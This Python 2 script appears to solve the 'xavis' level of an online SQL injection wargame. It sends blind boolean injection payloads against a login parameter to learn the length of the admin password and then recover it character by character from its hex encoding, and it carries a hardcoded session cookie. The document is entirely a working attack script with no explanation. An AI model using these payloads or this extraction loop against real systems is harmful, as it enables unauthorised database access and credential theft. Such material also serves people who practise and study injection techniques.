import urllib2
def request(data):
url = "https://los.eagle-jump.org/xavis_fd4389515d6540477114ec3c79623afe.php?pw="+urllib2.quote(data)
req = urllib2.Request(url)
req.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko')
req.add_header('Cookie','__cfduid=dc3f1581bf2ce11c70afbb877548363c31517875851; PHPSESSID=4781bkenk59ojptdqpoj0um423')
response = urllib2.urlopen(req).read()
if "Hello admin" in str(response):
return True
else:
return False
length = 0
admin_pw = ""
strings = "1234567890abcdef"
for i in range(0,100):
payload = "' or id='admin' and length(hex(pw))="+str(i)+"#"
if request(payload)==True:
length = i
break
print "[*]Admin Password Length = " + str(length)
for j in range(1,length+1):
for i in range(0,len(strings)):
payload = "' or id='admin' and right(lpad(hex(pw),"+str(j)+",space(0)),1)='"+strings[i]+"'#"
if request(payload)==True:
admin_pw += strings[i]
print "[-]Admin Password = " + admin_pw
break
print "[*]Admin Password = " + admin_pw